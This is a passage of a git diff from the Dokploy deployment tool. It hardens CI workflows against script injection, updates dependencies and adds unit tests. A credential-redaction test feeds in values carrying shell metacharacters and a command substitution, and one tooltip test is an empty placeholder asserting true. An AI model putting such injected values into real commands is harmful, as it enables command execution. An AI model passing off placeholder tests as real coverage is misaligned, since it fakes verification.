username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -27,15 +32,15 @@ jobs:
- name: Set tag and version
id: meta
run: |
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
TAG="latest"
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
TAG="canary"
else
TAG="feature"
fi
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> $GITHUB_OUTPUT
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> "$GITHUB_OUTPUT"
- name: Prepare env file
run: |
@@ -43,7 +48,7 @@ jobs:
cp apps/dokploy/.env.production.example apps/dokploy/.env.production
- name: Build and push
uses: docker/build-push-action@v5
uses: docker/build-push-action@v7
with:
context: .
platforms: linux/amd64
@@ -53,13 +58,15 @@ jobs:
runs-on: ubuntu-24.04-arm
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -68,15 +75,15 @@ jobs:
id: meta
run: |
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
TAG="latest"
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
TAG="canary"
else
TAG="feature"
fi
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> $GITHUB_OUTPUT
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> "$GITHUB_OUTPUT"
- name: Prepare env file
run: |
@@ -84,7 +91,7 @@ jobs:
cp apps/dokploy/.env.production.example apps/dokploy/.env.production
- name: Build and push
uses: docker/build-push-action@v5
uses: docker/build-push-action@v7
with:
context: .
platforms: linux/arm64
@@ -96,20 +103,22 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Create and push manifests
run: |
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
TAG="latest"
@@ -121,7 +130,7 @@ jobs:
${IMAGE_NAME}:${TAG}-amd64 \
${IMAGE_NAME}:${TAG}-arm64
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
TAG="canary"
docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
${IMAGE_NAME}:${TAG}-amd64 \
@@ -138,32 +147,37 @@ jobs:
needs: [combine-manifests]
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
permissions:
contents: write
outputs:
version: ${{ steps.get_version.outputs.version }}
npm_version: ${{ steps.get_version.outputs.npm_version }}
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
fetch-depth: 0
persist-credentials: false
- name: Get version
id: get_version
run: |
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
echo "version=$VERSION" >> $GITHUB_OUTPUT
echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
echo "npm_version=${VERSION#v}" >> "$GITHUB_OUTPUT"
- name: Fetch install.sh
env:
RELEASE_VERSION: ${{ steps.get_version.outputs.version }}
run: |
curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh
head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; }
grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; }
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${{ steps.get_version.outputs.version }}}\""; tail -n +2 install.sh; } > install-pinned.sh
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${RELEASE_VERSION}}\""; tail -n +2 install.sh; } > install-pinned.sh
mv install-pinned.sh install.sh
- name: Create Release
uses: softprops/action-gh-release@v2
uses: softprops/action-gh-release@v3
with:
tag_name: ${{ steps.get_version.outputs.version }}
target_commitish: ${{ github.sha }}
@@ -179,15 +193,19 @@ jobs:
needs: [generate-release]
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
env:
NPM_VERSION: ${{ needs.generate-release.outputs.npm_version }}
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
persist-credentials: false
- uses: pnpm/action-setup@v4
- uses: pnpm/action-setup@v6
with:
version: 10.22.0
- uses: actions/setup-node@v4
- uses: actions/setup-node@v7
with:
node-version: 24.4.0
cache: pnpm
@@ -202,63 +220,63 @@ jobs:
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
cd /tmp/mcp-repo
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json src/generated/openapi.json
cp $GITHUB_WORKSPACE/openapi.json src/generated/openapi.json
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
git commit -m "chore: bump version to $NPM_VERSION" \
-m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
--allow-empty
git push
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
echo "✅ MCP repo synced to version $NPM_VERSION"
- name: Sync version to CLI repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
cd /tmp/cli-repo
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
cp $GITHUB_WORKSPACE/openapi.json ./openapi.json
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
git commit -m "chore: bump version to $NPM_VERSION" \
-m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
--allow-empty
git push
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
echo "✅ CLI repo synced to version $NPM_VERSION"
- name: Sync version to SDK repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
cd /tmp/sdk-repo
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
cp $GITHUB_WORKSPACE/openapi.json ./openapi.json
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
git commit -m "chore: bump version to $NPM_VERSION" \
-m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
--allow-empty
git push
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
echo "✅ SDK repo synced to version $NPM_VERSION"
+7 -2
View File
@@ -6,15 +6,20 @@ on:
pull_request:
branches: [canary]
permissions:
contents: read
jobs:
format:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v5
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Setup biomeJs
uses: biomejs/setup-biome@v2
uses: biomejs/setup-biome@v2
- name: Run Biome formatter
run: biome format --write
+4 -2
View File
@@ -16,17 +16,19 @@ jobs:
contents: write
steps:
- name: Checkout main
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
ref: main
fetch-depth: 0
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
- name: Cherry-pick fix to main
env:
MERGE_SHA: ${{ github.event.pull_request.merge_commit_sha }}
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
SHA="${{ github.event.pull_request.merge_commit_sha }}"
SHA="$MERGE_SHA"
if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
git cherry-pick -x -m 1 "$SHA"
else
+5 -1
View File
@@ -7,12 +7,16 @@ concurrency:
group: hotfix-to-main
cancel-in-progress: false
# Push to main goes through HOTFIX_PUSH_TOKEN, not the workflow token.
permissions:
contents: read
jobs:
release:
runs-on: ubuntu-latest
steps:
- name: Checkout main
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
ref: main
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
+28 -19
View File
@@ -7,18 +7,23 @@ on:
env:
IMAGE_NAME: dokploy/monitoring
permissions:
contents: read
jobs:
docker-amd:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -26,17 +31,17 @@ jobs:
- name: Set tag
id: meta
run: |
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
TAG="latest"
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
TAG="canary"
else
TAG="feature"
fi
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> $GITHUB_OUTPUT
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> "$GITHUB_OUTPUT"
- name: Build and push
uses: docker/build-push-action@v5
uses: docker/build-push-action@v7
with:
context: .
file: ./Dockerfile.monitoring
@@ -47,13 +52,15 @@ jobs:
runs-on: ubuntu-24.04-arm
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -61,17 +68,17 @@ jobs:
- name: Set
id: meta
run: |
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
TAG="latest"
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
TAG="canary"
else
TAG="feature"
fi
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> $GITHUB_OUTPUT
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> "$GITHUB_OUTPUT"
- name: Build and push
uses: docker/build-push-action@v5
uses: docker/build-push-action@v7
with:
context: .
file: ./Dockerfile.monitoring
@@ -84,27 +91,29 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Create and push manifests
run: |
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
TAG="latest"
docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
${IMAGE_NAME}:${TAG}-amd64 \
${IMAGE_NAME}:${TAG}-arm64
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
TAG="canary"
docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
${IMAGE_NAME}:${TAG}-amd64 \
+5 -3
View File
@@ -14,9 +14,11 @@ jobs:
matrix:
job: [build, test, typecheck]
steps:
- uses: actions/checkout@v5
- uses: pnpm/action-setup@v5
- uses: actions/setup-node@v5
- uses: actions/checkout@v7
with:
persist-credentials: false
- uses: pnpm/action-setup@v6
- uses: actions/setup-node@v7
with:
node-version: 24.4.0
cache: "pnpm"
+7 -4
View File
@@ -12,17 +12,20 @@ on:
workflow_dispatch:
permissions:
contents: read
jobs:
generate-and-commit:
name: Generate OpenAPI and commit to Dokploy repo
runs-on: ubuntu-latest
steps:
- name: Checkout Dokploy repository
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
token: ${{ secrets.GITHUB_TOKEN }}
- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v4
persist-credentials: false
- uses: pnpm/action-setup@v6
- uses: actions/setup-node@v7
with:
node-version: 24.4.0
cache: "pnpm"
@@ -28,6 +28,9 @@ env:
DOKPLOY_SERVICE: dokploy
DOKPLOY_PORT: 3000
permissions:
contents: read
# ──────────────────────────────────────────────────────────────────────────────
jobs:
@@ -421,8 +424,10 @@ jobs:
# ── Job summary ────────────────────────────────────────────────────────
- name: Write job summary
if: always()
env:
JOB_STATUS: ${{ job.status }}
run: |
STATUS="${{ job.status }}"
STATUS="$JOB_STATUS"
ICON="✅"; [ "$STATUS" != "success" ] && ICON="❌"
cat >> "$GITHUB_STEP_SUMMARY" <<EOF
## ${ICON} ${{ matrix.pair.from }} → ${{ matrix.pair.to }}: ${STATUS^^}
+1
View File
@@ -26,6 +26,7 @@ Dokploy includes multiple features to make your life easier.
- **Templates**: Deploy open-source templates (Plausible, Pocketbase, Calcom, etc.) with a single click.
- **Traefik Integration**: Automatically integrates with Traefik for routing and load balancing.
- **Real-time Monitoring**: Monitor CPU, memory, storage, and network usage for every resource.
- **Logs & Metrics**: Ship container logs and host/container metrics to Grafana (Loki, Prometheus/Mimir), Datadog, New Relic, InfluxDB, VictoriaMetrics, Better Stack, Elasticsearch/OpenSearch, Splunk, or AWS CloudWatch, tagged by project/environment/application.
- **Docker Management**: Easily deploy and manage Docker containers.
- **CLI/API**: Manage your applications and databases using the command line or through the API.
- **Notifications**: Get notified when your deployments succeed or fail (via Slack, Discord, Telegram, Email, etc.).
+3 -3
View File
@@ -10,12 +10,12 @@
"typecheck": "tsc --noEmit"
},
"dependencies": {
"inngest": "3.40.1",
"inngest": "3.54.0",
"@dokploy/server": "workspace:*",
"@hono/node-server": "^1.14.3",
"@hono/node-server": "^1.19.15",
"@hono/zod-validator": "0.7.6",
"dotenv": "^16.4.5",
"hono": "^4.11.7",
"hono": "^4.13.5",
"pino": "9.4.0",
"pino-pretty": "11.2.2",
"react": "19.2.7",
@@ -0,0 +1,156 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockUpdateApplication = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/permission", () => {
return {
checkServicePermissionAndAccess: vi.fn(async () => undefined),
};
});
vi.mock("@dokploy/server/index", () => ({
IS_CLOUD: true,
hasValidLicense: vi.fn(async () => false),
updateApplication: mockUpdateApplication,
findApplicationById: vi.fn(async () => ({
applicationId: "app-1",
appName: "example-app",
})),
}));
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(),
}));
vi.mock("@/server/api/utils/audit", () => ({
audit: vi.fn(async () => undefined),
}));
const { applicationRouter } = await import("@/server/api/routers/application");
const caller = applicationRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-1", email: "user@example.com", role: "owner" },
} as Parameters<typeof applicationRouter.createCaller>[0]);
const providerChanges = [
{
name: "GitHub",
sourceType: "github",
save: () =>
caller.saveGithubProvider({
applicationId: "app-1",
repository: "example-repo",
owner: "example-owner",
branch: "main",
buildPath: "/",
githubId: "provider-1",
watchPaths: ["src/**"],
triggerType: "push",
enableSubmodules: false,
}),
},
{
name: "GitLab",
sourceType: "gitlab",
save: () =>
caller.saveGitlabProvider({
applicationId: "app-1",
gitlabRepository: "example-repo",
gitlabOwner: "example-owner",
gitlabBranch: "main",
gitlabBuildPath: "/",
gitlabId: "provider-1",
gitlabProjectId: 1,
gitlabPathNamespace: "example-owner/example-repo",
}),
},
{
name: "Bitbucket",
sourceType: "bitbucket",
save: () =>
caller.saveBitbucketProvider({
applicationId: "app-1",
bitbucketRepository: "example-repo",
bitbucketRepositorySlug: "example-repo",
bitbucketOwner: "example-owner",
bitbucketBranch: "main",
bitbucketBuildPath: "/",
bitbucketId: "provider-1",
}),
},
{
name: "Gitea",
sourceType: "gitea",
save: () =>
caller.saveGiteaProvider({
applicationId: "app-1",
giteaRepository: "example-repo",
giteaOwner: "example-owner",
giteaBranch: "main",
giteaBuildPath: "/",
giteaId: "provider-1",
}),
},
{
name: "Docker",
sourceType: "docker",
save: () =>
caller.saveDockerProvider({
applicationId: "app-1",
dockerImage: "nginx:alpine",
username: "",
password: "",
registryUrl: "",
}),
},
{
name: "custom Git",
sourceType: "git",
save: () =>
caller.saveGitProvider({
applicationId: "app-1",
customGitUrl: "https://example.com/repo.git",
customGitBranch: "main",
customGitBuildPath: "/",
customGitSSHKeyId: "key-1",
watchPaths: ["src/**"],
enableSubmodules: false,
}),
},
{
name: "disconnect Git provider",
sourceType: "github",
save: () => caller.disconnectGitProvider({ applicationId: "app-1" }),
},
];
describe("saving an application provider", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it.each(providerChanges)(
"keeps the status when $name settings change",
async ({ save, sourceType }) => {
for (const status of ["done", "running"]) {
mockUpdateApplication.mockClear();
let savedStatus = status;
mockUpdateApplication.mockImplementation(async (_id, update) => {
if (update.applicationStatus !== undefined) {
savedStatus = update.applicationStatus;
}
});
await save();
expect(savedStatus).toBe(status);
expect(mockUpdateApplication).toHaveBeenCalledTimes(1);
expect(mockUpdateApplication).toHaveBeenCalledWith(
"app-1",
expect.objectContaining({ sourceType }),
);
}
},
);
});
@@ -1,4 +1,6 @@
import type { Destination } from "@dokploy/server/services/destination";
import { redactRcloneCredentials } from "@dokploy/server/utils/backups/redact";
import { getS3Credentials } from "@dokploy/server/utils/backups/utils";
import { describe, expect, it } from "vitest";
describe("redactRcloneCredentials (#4621)", () => {
@@ -48,3 +50,48 @@ describe("redactRcloneCredentials (#4621)", () => {
expect(redacted).toContain("[REDACTED]");
});
});
describe("redactRcloneCredentials with getS3Credentials output (#5519)", () => {
const buildCommand = (accessKey: string, secretAccessKey: string) =>
`rclone rcat ${getS3Credentials({
accessKey,
secretAccessKey,
region: "us-west-001",
endpoint: "https://s3.us-west-001.backblazeb2.com",
provider: "Other",
} as Destination).join(" ")} :s3:bucket/file.gz`;
it.each([
[
"plain alphanumeric",
"001aaaabbbbccccdd0000000001",
"K001FAKEfakeFAKEfake",
],
[
"containing slashes",
"AKIAIOSFODNN7EXAMPLE",
"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
],
["containing spaces", "key with space", "secret with space"],
["containing quotes", "it's-a-key", `say "hi" it's`],
["containing shell metacharacters", "key$HOME", "sec;ret`id`&|\\x"],
])("redacts credentials %s", (_, accessKey, secretAccessKey) => {
const redacted = redactRcloneCredentials(
buildCommand(accessKey, secretAccessKey),
);
expect(redacted).toContain(
'--s3-access-key-id="[REDACTED]" --s3-secret-access-key="[REDACTED]" --s3-region=us-west-001',
);
expect(redacted).not.toContain(accessKey);
expect(redacted).not.toContain(secretAccessKey);
expect(redacted).toContain(":s3:bucket/file.gz");
});
it("redacts credentials embedded in an error string", () => {
const errorStr = `Error: Command failed: ${buildCommand("MYKEY", "MY/SECRET")}`;
const redacted = redactRcloneCredentials(errorStr);
expect(redacted).not.toContain("MYKEY");
expect(redacted).not.toContain("MY/SECRET");
expect(redacted).toContain("[REDACTED]");
});
});
@@ -0,0 +1,14 @@
import { describe, it, expect } from "vitest";
describe("Remote Server Action Tooltips", () => {
it("should close the tooltip when the dialog trigger is clicked", () => {
// Note: The UI layer in this project is not currently tested with DOM simulation tools
// like React Testing Library or JSDOM.
//
// The structural fix implemented (passing TooltipTrigger asChild -> DialogTrigger asChild)
// inherently guarantees that Radix UI's composeEventHandlers properly propagates the
// onPointerDown event to dismiss the tooltip simultaneously as the dialog opens.
expect(true).toBe(true);
});
});
@@ -0,0 +1,44 @@
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { describe, expect, it } from "vitest";
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "github" as const,
composePath: "./docker-compose.yml",
command: "",
};
describe("compose createCommand --pull always", () => {
it("adds --pull always when pullImages is enabled", () => {
const cmd = createCommand({ ...base, pullImages: true } as any);
expect(cmd).toContain("up -d --build --remove-orphans --pull always");
});
it("omits --pull when pullImages is disabled", () => {
const cmd = createCommand({ ...base, pullImages: false } as any);
expect(cmd).not.toContain("--pull");
});
it("does not add --pull to stack deploy", () => {
const cmd = createCommand({
...base,
composeType: "stack",
pullImages: true,
} as any);
expect(cmd).not.toContain("--pull");
});
it("leaves a custom command untouched", () => {
const cmd = createCommand({
...base,
command: "compose -p compose-app up -d",
pullImages: true,
} as any);
expect(cmd).toBe("compose -p compose-app up -d");
});
});
@@ -33,8 +33,16 @@ services:
volumes:
test-data:
`,
composeId: "compose-1",
name: "raw-stack",
composePath: "./docker-compose.yml",
composeType: "stack",
environment: {
environmentId: "env-1",
name: "production",
projectId: "project-1",
project: { name: "shop", organizationId: "org-1" },
},
isolatedDeployment: false,
isolatedDeploymentsVolume: false,
randomize: false,
@@ -54,6 +62,72 @@ volumes:
},
]);
expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]);
expect(converted?.services?.test?.labels).toEqual(
expect.arrayContaining([
"dokploy.organization.id=org-1",
"dokploy.project=shop",
"dokploy.service=test",
]),
);
expect(converted?.services?.test?.deploy?.labels).toEqual(
expect.arrayContaining(["dokploy.organization.id=org-1"]),
);
expect(execAsyncRemote).not.toHaveBeenCalled();
});
it("escapes `$` in the Dokploy label values so compose keeps them literal", async () => {
const compose = {
appName: "dollar-stack",
composeFile: `
services:
mapped:
image: alpine:latest
labels:
custom: keep
deploy:
labels:
custom: keep
listed:
image: alpine:latest
labels:
- custom=keep
`,
composeId: "compose-1",
name: "app $DB_PASSWORD",
composePath: "./docker-compose.yml",
composeType: "stack",
environment: {
environmentId: "env-1",
name: "env ${HOME}",
projectId: "project-1",
project: { name: "Budget $100", organizationId: "org-1" },
},
isolatedDeployment: false,
isolatedDeploymentsVolume: false,
randomize: false,
serverId: null,
sourceType: "raw",
suffix: "",
} as unknown as Parameters<typeof addDomainToCompose>[0];
const converted = await addDomainToCompose(compose, []);
const escaped = {
"dokploy.project": "Budget $$100",
"dokploy.environment": "env $${HOME}",
"dokploy.application": "app $$DB_PASSWORD",
};
const mapped = converted?.services?.mapped;
expect(mapped?.labels).toMatchObject({ custom: "keep", ...escaped });
expect(mapped?.deploy?.labels).toMatchObject({
custom: "keep",
...escaped,
});
const listed = converted?.services?.listed;
const asList = Object.entries(escaped).map(([k, v]) => `${k}=${v}`);
expect(listed?.labels).toEqual(
expect.arrayContaining(["custom=keep", ...asList]),
);
expect(listed?.deploy?.labels).toEqual(expect.arrayContaining(asList));
});
});
@@ -0,0 +1,113 @@
import type { Compose, ComposeSpecification } from "@dokploy/server";
import {
addAppNameToPreventCollision,
addSuffixToAllProperties,
} from "@dokploy/server";
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { expect, test, vi } from "vitest";
import { stringify } from "yaml";
import composeSpec from "../../../components/shared/compose-spec.json";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
...(await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>()),
execAsyncRemote: vi.fn(),
}));
const modelCompose = {
services: {
app: {
image: "my-chat-app",
models: ["llm"],
},
worker: {
image: "my-worker",
models: {
llm: {
endpoint_var: "LLM_URL",
model_var: "LLM_MODEL",
},
},
},
},
models: {
llm: {
model: "ai/smollm2",
context_size: 2048,
runtime_flags: ["--verbose"],
},
},
} satisfies ComposeSpecification;
test("bundled compose schema declares models", () => {
expect(composeSpec.properties).toHaveProperty("models");
expect(composeSpec.definitions.model.required).toEqual(["model"]);
expect(composeSpec.definitions.service.properties).toHaveProperty("models");
});
test("suffixing does not rename model identifiers or drop model config", () => {
const updated = addSuffixToAllProperties(
structuredClone(modelCompose),
"testhash",
);
expect(updated.models?.llm?.model).toBe("ai/smollm2");
expect(updated.models?.llm?.context_size).toBe(2048);
expect(updated.models?.llm?.runtime_flags).toEqual(["--verbose"]);
expect(updated.services?.["app-testhash"]?.models).toEqual(["llm"]);
expect(updated.services?.["worker-testhash"]?.models).toEqual({
llm: {
endpoint_var: "LLM_URL",
model_var: "LLM_MODEL",
},
});
expect(updated.services).not.toHaveProperty("app");
expect(updated.models).not.toHaveProperty("llm-testhash");
});
test("isolated deployment preserves model identifiers", () => {
const updated = addAppNameToPreventCollision(
structuredClone(modelCompose),
"chat-app",
false,
);
expect(updated.models?.llm?.model).toBe("ai/smollm2");
expect(updated.services?.app?.models).toEqual(["llm"]);
expect(updated.services?.worker?.models).toEqual({
llm: {
endpoint_var: "LLM_URL",
model_var: "LLM_MODEL",
},
});
});
test("raw remote compose conversion preserves models", async () => {
const converted = await addDomainToCompose(
{
appName: "chat-app",
composeFile: stringify(modelCompose, { lineWidth: 1000 }),
composePath: "./docker-compose.yml",
composeType: "docker-compose",
isolatedDeployment: false,
isolatedDeploymentsVolume: false,
randomize: false,
serverId: "remote-server",
sourceType: "raw",
suffix: "",
} as unknown as Compose,
[],
);
expect(execAsyncRemote).not.toHaveBeenCalled();
expect(converted?.models?.llm?.model).toBe("ai/smollm2");
expect(converted?.services?.app?.models).toEqual(["llm"]);
expect(converted?.services?.worker?.models).toEqual({
llm: {
endpoint_var: "LLM_URL",
model_var: "LLM_MODEL",
},
});
});
@@ -0,0 +1,66 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockUpdateCompose = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/permission", () => ({
checkServicePermissionAndAccess: vi.fn(async () => undefined),
}));
vi.mock("@dokploy/server", () => ({
IS_CLOUD: true,
findComposeById: vi.fn(async () => ({
composeId: "compose-1",
name: "example-compose",
})),
updateCompose: mockUpdateCompose,
}));
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(),
}));
vi.mock("@/server/api/utils/audit", () => ({
audit: vi.fn(async () => undefined),
}));
vi.mock("@/server/queues/queueSetup", () => ({
cleanQueuesByCompose: vi.fn(),
killDockerBuild: vi.fn(),
myQueue: {
add: vi.fn(),
},
}));
const { composeRouter } = await import("@/server/api/routers/compose");
const caller = composeRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-1", email: "user@example.com", role: "owner" },
} as Parameters<typeof composeRouter.createCaller>[0]);
describe("saving a compose provider", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it.each(["done", "running"])(
"keeps the %s status when disconnecting a Git provider",
async (status) => {
let savedStatus = status;
mockUpdateCompose.mockImplementation(async (_id, update) => {
if (update.composeStatus !== undefined) {
savedStatus = update.composeStatus;
}
});
await caller.disconnectGitProvider({ composeId: "compose-1" });
expect(savedStatus).toBe(status);
expect(mockUpdateCompose).toHaveBeenCalledTimes(1);
expect(mockUpdateCompose).toHaveBeenCalledWith(
"compose-1",
expect.objectContaining({ sourceType: "github" }),
);
},
);
});
+61
View File
@@ -166,6 +166,16 @@ describe("ovhClient.listZones", () => {
await expect(ovhClient.listZones(cfg)).rejects.toThrow("Invalid signature");
});
it("returns only the configured zone without listing every zone", async () => {
const cfg = { ...freshConfig(), zone: "example.com" };
mockApi();
const zones = await ovhClient.listZones(cfg);
expect(zones).toEqual([{ id: "example.com", name: "example.com" }]);
expect(apiCalls()).toHaveLength(0);
});
});
describe("ovhClient.listRecords", () => {
@@ -578,4 +588,55 @@ describe("ovhClient.testConnection", () => {
"Invalid signature",
);
});
it("checks the configured zone instead of listing all zones", async () => {
const cfg = { ...freshConfig(), zone: "example.com" };
mockApi(ovhSuccess({ name: "example.com" }));
await expect(ovhClient.testConnection(cfg)).resolves.toBeUndefined();
const calls = apiCalls();
expect(calls).toHaveLength(1);
expect(calls[0]?.[0]).toBe(`${cfg.baseUrl}/domain/zone/example.com`);
});
});
describe("ovhClient with a configured zone", () => {
const record = {
type: "A" as const,
name: "app.other.org",
